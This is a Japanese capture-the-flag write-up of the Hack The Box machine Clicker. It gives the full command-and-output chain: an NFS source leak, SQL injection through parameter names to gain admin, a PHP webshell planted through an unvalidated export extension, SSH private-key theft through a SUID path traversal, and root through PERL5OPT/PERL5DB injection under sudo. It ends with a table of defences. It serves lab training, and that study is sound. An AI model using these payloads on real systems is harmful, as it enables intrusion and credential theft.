Hack The BoxのWriteup(Clicker)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Clicker — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/111/2049
NFS匿名マウント
/mnt/backups → 全ソース入手
パラメータ名汚染SQLi
role=’Admin’ 昇格
Export拡張子未検証
nickname注入 → .php書出し
webshell RCE
www-data
SUID execute_query
パストラバーサルで鍵窃取
jack シェル取得
user.txt ✓
PERL5OPT/PERL5DB
sudo monitor.sh 注入
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,80,111,2049 10.129.48.138
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp   open  http    Apache httpd 2.4.52
111/tcp  open  rpcbind 2-4
2049/tcp open  nfs     3-4
ℹ️
111/rpcbind + 2049/nfs の組み合わせが最初の手掛かり。 80/tcp は vhost clicker.htb でしか正しいコンテンツを返さないため、 /etc/hosts への追記が必要。

NFS エクスポート確認

BASH
showmount -e 10.129.48.138
RESULT
Export list for 10.129.48.138:
/mnt/backups *
🚨
/mnt/backups誰でも (*) マウント可能。 認証なしで読み書きできる公開バックアップ共有であり、これが最初の攻撃面になる。
PHASE 2

NFS経由のソースコード漏洩 & コードレビュー

バックアップの取得と展開

BASH
mkdir /mnt/backups_local
mount -t nfs -o nolock 10.129.48.138:/mnt/backups /mnt/backups_local
ls /mnt/backups_local
RESULT
clicker.htb_backup.zip
BASH
unzip -q /mnt/backups_local/clicker.htb_backup.zip -d ./clicker_src
find ./clicker_src -iname "*.php"
RESULT
admin.php  authenticate.php  create_player.php  db_utils.php
diagnostic.php  export.php  index.php  info.php  login.php
logout.php  play.php  profile.php  register.php  save_game.php
Webアプリ「Clicker」(クリック稼ぎゲーム)の 全ソースが認証なしで入手できた。 以降の脆弱性はすべてこのソース解析から発見する。

重要発見①: register.php はダミー、実処理は create_player.php

RESULT (register.php 抜粋)
<form name="registration_form" action="create_player.php" method="post">
  <input name='username'>
  <input type="password" name='password'>
</form>
RESULT (create_player.php)
if (isset($_POST['username']) && isset($_POST['password']) && ...) {
    if (! ctype_alnum($_POST["username"])) { ... }
    elseif(check_exists($_POST['username'])) { ... }
    else {
        create_new_player($_POST['username'], $_POST['password']);
        header('Location: /index.php?msg=Successfully registered');
    }
}
⚠️
register.phpフォームを表示するだけ$_POST を 一切扱わない。ここに直接 POST しても何も起きない — 必ず create_player.php に送る必要がある(見落としやすい罠)。

重要発見②: db_utils.php の save_profile() — キー名を無検証で連結

RESULT (db_utils.php 抜粋)
function save_profile($player, $args) {
  global $pdo;
  $params = ["player"=>$player];
  $setStr = "";
  foreach ($args as $key => $value) {
    $setStr .= $key . "=" . $pdo->quote($value) . ",";
  }
  $setStr = rtrim($setStr, ",");
  $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
  $stmt->execute($params);
}
🚨
致命的な設計ミス: UPDATE 文の ($value) は PDO::quote() でエスケープされるが、キー名 ($key、つまり GETパラメータの「名前」そのもの) はエスケープなしでSQL文へ直接連結される。 パラメータ名自体をSQLとして注入できる。

重要発見③: save_game.php の role ブロックとexport.phpの拡張子未検証

RESULT (save_game.php 抜粋)
foreach($_GET as $key=>$value) {
  if (strtolower($key) === 'role') {          // 文字列完全一致のみブロック
    header('Location: /index.php?err=Malicious activity detected!');
    die;
  }
  $args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
RESULT (export.php 抜粋)
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);   // extension の値は一切検証されない
🚨
role というキー名そのものが完全一致でなければブロックを回避できる (キー名の一部に role を含ませればよい)。また Export 機能は extension パラメータの値を検証しないため、.php として 任意内容のファイルを書き出させることができる。
PHASE 3

パラメータ名(キー)汚染SQLi → role=’Admin’ 昇格

アカウント登録 & ログイン

BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -c cookies.txt -b cookies.txt \
     --data-urlencode "username=kcragent2" --data-urlencode "password=KcRagent2#2024!" \
     http://clicker.htb/create_player.php -D - -o /dev/null

curl -s --resolve clicker.htb:80:10.129.48.138 -c cookies.txt -b cookies.txt -L \
     --data-urlencode "username=kcragent2" --data-urlencode "password=KcRagent2#2024!" \
     http://clicker.htb/authenticate.php | grep Welcome
RESULT
Location: /index.php?msg=Successfully registered
<h1 >Welcome, kcragent2</h1>

パラメータ名汚染ペイロードの構造

NOTE
PHPのクエリ文字列パース順序:
  1. 生のクエリ文字列を "&" で分割
  2. 各要素を「最初に現れる生の "=" 」で key/value に分割
  3. key と value を それぞれ個別に urldecode

送信URL:
  save_game.php?clicks%3d4,role%3d'Admin',clicks=4&level=0

解析手順:
  ① "&" で分割 → ["clicks%3d4,role%3d'Admin',clicks=4", "level=0"]
  ② 要素1を最初の生"="で分割 → key_raw="clicks%3d4,role%3d'Admin',clicks", value="4"
  ③ key_raw を urlすると (%3d → "=") → key = clicks=4,role='Admin',clicks

→ $_GET は次の2要素になる:
  $_GET["clicks=4,role='Admin',clicks"] = "4"
  $_GET["level"] = "0"

save_profile() がこれをそのままSET句へ連結すると:
  UPDATE players SET clicks=4,role='Admin',clicks='4',level='0' WHERE username=:player
                     ~~~~~~~~~~~~~~~~~~~~~~~~~~
                     "role" という単独キーではないため save_game.php のブロックを回避

Admin昇格の実行

BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -c cookies.txt \
     "http://clicker.htb/save_game.php?clicks%3d4,role%3d'Admin',clicks=4&level=0"

# role の変更をセッションへ反映させるため再ログイン
curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -c cookies.txt -L \
     --data-urlencode "username=kcragent2" --data-urlencode "password=KcRagent2#2024!" \
     http://clicker.htb/authenticate.php | grep -i administration
RESULT
<a class="nav-link ..." href="/admin.php">Administration</a>
role=’Admin’ への昇格成功。 ナビゲーションに Administration リンクが出現し、 admin.php(Export機能を含む管理パネル)へアクセス可能になった。
PHASE 4

nickname注入 + Export .php書き出し → RCE → user.txt

nickname へ PHP ペイロードを注入

BASH
ENC="%3C%3Fphp%20system%28%24_REQUEST%5B%27cmd%27%5D%29%3B%20%3F%3E"
# ↑ URLエンコードした 

curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -c cookies.txt \
     "http://clicker.htb/save_game.php?clicks=8&level=0&nickname=$ENC"
ℹ️
nickname は role のような単独キーブロックが無いため、素直に GET パラメータとして 渡すだけで save_profile() 経由で DB の nickname 列に書き込める。

Export 機能で .php として書き出し

BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -L \
     --data-urlencode "threshold=0" --data-urlencode "extension=php" \
     http://clicker.htb/export.php | grep -oE "exports/top_players_[A-Za-z0-9_]+\.php"
RESULT
exports/top_players_5p4d3hxv.php
⚠️
ハマりどころ: export.php は本文を返さず 302 Location: /admin.php?msg=Data has been saved in exports/... へ リダイレクトするだけ。admin.php$_GET['msg'] をそのまま 画面にエコーして初めてファイル名が見える仕組みのため、curl -L で リダイレクトに追従しないとファイル名を一切取得できない。

webshell 動作確認

BASH
curl -s --resolve clicker.htb:80:10.129.48.138 \
     "http://clicker.htb/exports/top_players_5p4d3hxv.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE 成功。 export.php の「else」分岐(txt/json以外は常にHTML化)が nickname の生PHPコードをそのまま HTML テーブルへ埋め込み、.php として 保存されているため PHP エンジンがそのまま実行する。以降は毎回この URL に ?cmd= を付けるだけで任意コマンド実行できる(対話シェルは不要)。

SUID execute_query のパストラバーサルで jack のSSH鍵を窃取

BASH (webshell経由で SUID バイナリを探索)
?cmd=find / -perm -u=s -type f 2>/dev/null
RESULT
... (標準的なSUIDバイナリ群に混じって) ...
/opt/manage/execute_query
BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -G \
     --data-urlencode "cmd=/opt/manage/execute_query 6 ../.ssh/id_rsa" \
     "http://clicker.htb/exports/top_players_5p4d3hxv.php"
RESULT (装飾枠付きで出力される、抜粋)
--------------
-----BEGIN OPENSSH PRIVATE KEY---     ← 末尾ダッシュが2文字欠ける表示グセ
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...(中略)...
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---
--------------
🚨
execute_querysetreuid() の実装が甘く通常のアクセス制御を すり抜けられるSUIDバイナリ。第2引数にディレクトリトラバーサル (../.ssh/id_rsa) を渡すと /home/jack/.ssh/id_rsa の内容が そのまま表示される。注意点: 表示枠の BEGIN/END マーカー行は 末尾ダッシュが2文字欠けて出力される表示上のクセがある (-----BEGIN OPENSSH PRIVATE KEY----- の最後の2つの-が消える)ため、 鍵ファイルを再構成する際は本文だけ抜き出し標準の5ダッシュ形式で組み直す必要がある。

SSH ログイン & user.txt 取得

BASH
# BEGIN/END行を標準の5ダッシュ形式に直してから保存
chmod 600 jack_id_rsa
ssh -i jack_id_rsa jack@10.129.48.138 "id; cat /home/jack/user.txt"
RESULT
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
03ae77624c3d11ca0f3d1a39c49fd4fd
user.txt — jack
03ae77624c3d11ca0f3d1a39c49fd4fd
PHASE 5

権限昇格の下調べ — sudo NOPASSWD /opt/monitor.sh

sudo -l で許可コマンドを確認

BASH
ssh -i jack_id_rsa jack@10.129.48.138 "sudo -l"
RESULT
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=..., use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh
ℹ️
(ALL:ALL) ALL は jack が sudo グループに所属しているために 表示されるが、jack のログインパスワードを知らないため実行にはパスワードが要る (SSH鍵しか持っていない)。一方 /opt/monitor.shNOPASSWD かつ SETENV 付きで実行できる — SETENV は「環境変数を持ち込んだまま sudo できる」権限であり、これが今回の突破口。

monitor.sh の中身と xml_pp (Perl) の呼び出し

BASH
ssh -i jack_id_rsa jack@10.129.48.138 "cat /opt/monitor.sh"
RESULT (抜粋)
#!/bin/bash
unset PERL5LIB
unset PERLLIB
...
xml_pp -x someinput.xml   # Perl 製の XML pretty-printer を呼び出す
🚨
スクリプトは PERL5LIB/PERLLIB は明示的に unset しているが、 Perl デバッガを起動する PERL5OPT/PERL5DB という 別の環境変数の存在を見落としている。SETENV 権限があるので、 これらを注入したまま sudo 実行すれば、root 権限で動く Perl プロセスに 任意コードを実行させられる。
PHASE 6

PERL5OPT/PERL5DB 環境変数インジェクション → root.txt

Perl デバッガ経由のコード実行トリガー

BASH
ssh -i jack_id_rsa jack@10.129.48.138 \
  "sudo PERL5OPT=-d PERL5DB='exec \"chmod u+s /bin/bash\"' /opt/monitor.sh"
RESULT
Statement unlikely to be reached at /usr/bin/xml_pp line 9.
	(Maybe you meant system() when you said exec()?)
ℹ️
PERL5OPT=-d は Perl インタプリタに「デバッガモードで起動」を指示し、 PERL5DB はデバッガの初期化コードとして評価される Perl 式を指定する。 xml_pp が root 権限(sudo経由)で起動された瞬間、デバッガ初期化時に exec "chmod u+s /bin/bash" が root として実行され、 /bin/bash に SUID ビットが付与される。警告メッセージが出ているが、 コマンド自体は正常に実行されている。

SUID bash で root シェルを取得 & root.txt

BASH
ssh -i jack_id_rsa jack@10.129.48.138 "ls -la /bin/bash"
ssh -i jack_id_rsa jack@10.129.48.138 "bash -p -c 'id; cat /root/root.txt'"
RESULT
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
                                              ^ SUID ビット (s) が付与済み

uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),...
e7273ed64edd27afc22cd5e27e81b412
root.txt — root@clicker
e7273ed64edd27afc22cd5e27e81b412
権限昇格成功。 bash -p-p は SUID/SGID ビットが立っていても実効権限を保持したまま起動するオプション)で euid=0 のシェルを取得し、 root.txt を読み取れた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jack
03ae77624c3d11ca0f3d1a39c49fd4fd
root.txt — root@clicker
e7273ed64edd27afc22cd5e27e81b412

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
NFS 匿名アクセス /mnt/backups (誰でもマウント可) Webアプリ全ソース漏洩 High showmount+mountで認証なしバックアップzipを取得し、DB接続処理・フィルタ実装を丸ごと解析
パラメータ名(キー)汚染SQLi save_game.php → db_utils.php save_profile() 権限昇格 (role=’Admin’) Critical GETパラメータの値ではなく「キー名」自体に=とSQL片を仕込み、role単独キーの完全一致ブロックを回避してUPDATE文を汚染
Export拡張子未検証によるRCE export.php ($_POST[“extension”]) リモートコード実行 (as www-data) Critical nicknameにPHPペイロードを注入し、Export機能でextension=phpとして未サニタイズのまま.phpファイルへ書き出させ実行
SUIDバイナリのパストラバーサル /opt/manage/execute_query 任意ファイル読取 (SSH秘密鍵窃取) High setreuid()実装不備でアクセス制御を回避でき、第2引数のディレクトリトラバーサルでjackのid_rsaを読取
PERL5OPT/PERL5DB 環境変数インジェクション sudo (root) SETENV: NOPASSWD: /opt/monitor.sh 権限昇格 (root) Critical PERL5LIB/PERLLIBのみunsetしPERL5OPT/PERL5DBを見落としているスクリプトに対し、Perlデバッガのコード実行機能でSUID bashを作成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョンスキャン + showmount22/80/111/2049、/mnt/backupsが誰でもマウント可能と判明
2NFSソース漏洩NFSマウント + zip展開 + コードレビューdb_utils.php/save_game.php/export.phpの脆弱性コードを特定
3Admin昇格パラメータ名汚染SQLi (キー側に%3d注入)role=’Admin’昇格、Export管理機能への到達
4RCE+鍵窃取nickname注入→Export(.php)+SUID execute_queryuser.txt 取得(jack SSH鍵経由)
5権限調査sudo -l + monitor.sh解析SETENV NOPASSWD monitor.sh、PERL5OPT見落としを確認
6権限昇格PERL5OPT/PERL5DB環境変数インジェクションroot.txt 取得(SUID bash経由)

学んだ教訓 & 防御策

問題点防御策
NFSエクスポートが全ホスト (*) にマウント許可されている NFSエクスポートは /etc/exports でIPアドレス/サブネット単位に厳格に制限する。バックアップ用途であれば専用ホストのみに限定する。
SQL文組み立て時に値だけでなくキー名も動的に決定される設計 UPDATE対象のカラム名はホワイトリスト方式で固定の許可リストと突き合わせ、ユーザー入力由来のキー文字列をそのままSQLへ連結しない。
危険なキー名の判定が完全一致 (===) のみで部分文字列を考慮していない 禁止キーワードのブロックリスト方式ではなく、許可するキーのホワイトリスト方式に切り替える。
ファイルアップロード/エクスポート機能が拡張子を検証していない 出力ファイルの拡張子は固定の許可リスト (txt/json/html等) に限定し、ユーザー入力をそのまま拡張子に使わない。エクスポート先ディレクトリはWebから実行不可能な設定にする。
SUIDバイナリの実装不備 (setreuid失敗) でアクセス制御が機能していない SUIDバイナリのシステムコール戻り値は必ずチェックし、失敗時は即座に終了する。可能な限りSUIDの使用自体を避け、sudoの限定的な許可ルールに置き換える。
sudoersのSETENV設定が環境変数インジェクションの経路になっている SETENVは真に必要な場合のみ使用し、env_resetを前提に許可する環境変数をenv_keep等で明示的に絞り込む。Perl等インタプリタ系コマンドをrootでsudo実行する場合は特に PERL5OPT/PERL5DB/PYTHONSTARTUP等の危険な環境変数に注意する。
HackTheBox: Clicker | 完全攻略レポート